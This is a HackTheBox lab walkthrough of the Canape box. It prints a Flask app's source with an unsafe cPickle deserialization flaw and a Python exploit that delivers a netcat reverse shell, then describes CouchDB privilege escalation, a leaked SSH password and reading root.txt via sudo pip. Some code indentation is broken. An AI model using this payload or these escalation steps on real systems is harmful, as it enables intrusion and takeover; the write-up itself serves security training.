Canape Box Writeup & Walkthrough – [HTB] – HackTheBox

This article demonstrates how to hack the Canape box on HackTheBox and obtain both user.txt and root.txt files.

Canape is a challenge machine on the HackTheBox platform, an online arena where you can hone your penetration testing skills and collaborate with others who share similar interests. It features a plethora of continually updated challenges.

In this guide, we will explore how to compromise the Canape box and secure the user.txt and root.txt files.

Initially, we scan the ports, a common first step in interacting with any box.

ScanPorts
Ports Scan

The scan reveals that only the HTTP port 80/TCP is open, suggesting potential security vulnerabilities on the website.

First, open your browser and navigate to the website.

Capane Website
Capane Website

By enumerating the website, we discover a .git folder, enabling us to extract the website’s source code using dvcs-ripper.

Further analysis of the Git log reveals a security issue with the “check” function.

Capane GitLog
Capane GitLog

Here’s a snippet from the __init__.py file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
 
app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
 
@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
    return render_template("index.html")
 
@app.route("/")
def index():
    return render_template("index.html")
 
@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)
 
WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]
 
@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None
 
    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
        outfile.write(char + quote)
        outfile.close()
            success = True
        except Exception as ex:
            error = True
 
    return render_template("submit.html", error=error, success=success)
 
@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()
 
    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data
 
    return "Still reviewing: " + item
 
if __name__ == "__main__":
    app.run()

The presence of __cPickle__, a Python module for object serialization, combined with the following line in the check function:

item = cPickle.loads(data)

it indicates a Remote Code Execution (RCE) vulnerability.

Using the following payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import requests, os, cPickle, re, hashlib
 
class shell(object):
def __init__(self):
self.reverse_ip = "YourIPAddress"
self.reverse_port = "YourPort"
def __reduce__(self):
return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" %(self.reverse_ip, self.reverse_port),))
 
character = "S'homer'\n"
quote = cPickle.dumps(shell())
if re.search('<strong>Success!</strong>', requests.post('http://10.10.10.70/submit', data={"character":character, "quote":quote}).text):
print 'Success'
p_id = hashlib.md5(character + quote).hexdigest()
print requests.post("http://10.10.10.70/check", data={"id":p_id}).text

We set up nc to listen on a local port and deploy the payload to obtain a reverse shell.

Get Reverse Shell
Get Reverse Shell

Next, we analyze the network connections using the netstat command.

Canape Netstat
Canape Netstat

We identify three notable open ports: 5984, 5986, and 65535, with the latter running an SSH service and the former two hosting CouchDB services.

We start by listing all databases.

List Databases
List Databases

There are six databases, and upon attempting to access the password database, however unfortunately, we are not able to access the database.

CouchDB Failed
CouchDB Failed

After searching, we found a Remote Privilege Escalation vulnerability in CouchDB. Using this exploit, we manage to access the password database.

Executing the exploit gives us access to the password database.

Gain Access to Password DB
Gain Access to Password DB

We list the tables and finally retrieve the SSH password:

0B4jyA0xtytZi7esBNGp

Gain SSH Password
Gain SSH Password
Obtain User.txt
Obtain User.txt

For privilege escalation, we start by examining sudo capabilities.

Sudo Info
Sudo Info

Notably, we can execute pip. One method is by creating a pip package to read root.txt, which I initially used. Alternatively, leveraging the -r option of pip, which reads from a specified requirements file, can achieve the same result.

We create a symbolic link to root.txt:

Create SoftLink
Create SoftLink

Executing the command with the -r option allows us to read the file and obtain root.txt.

Obtain Root.txt
Obtain Root.txt

This box presents a challenging yet rewarding experience, particularly in understanding web exploitation. It took approximately four hours to complete, with significant time dedicated to creating a custom pip package.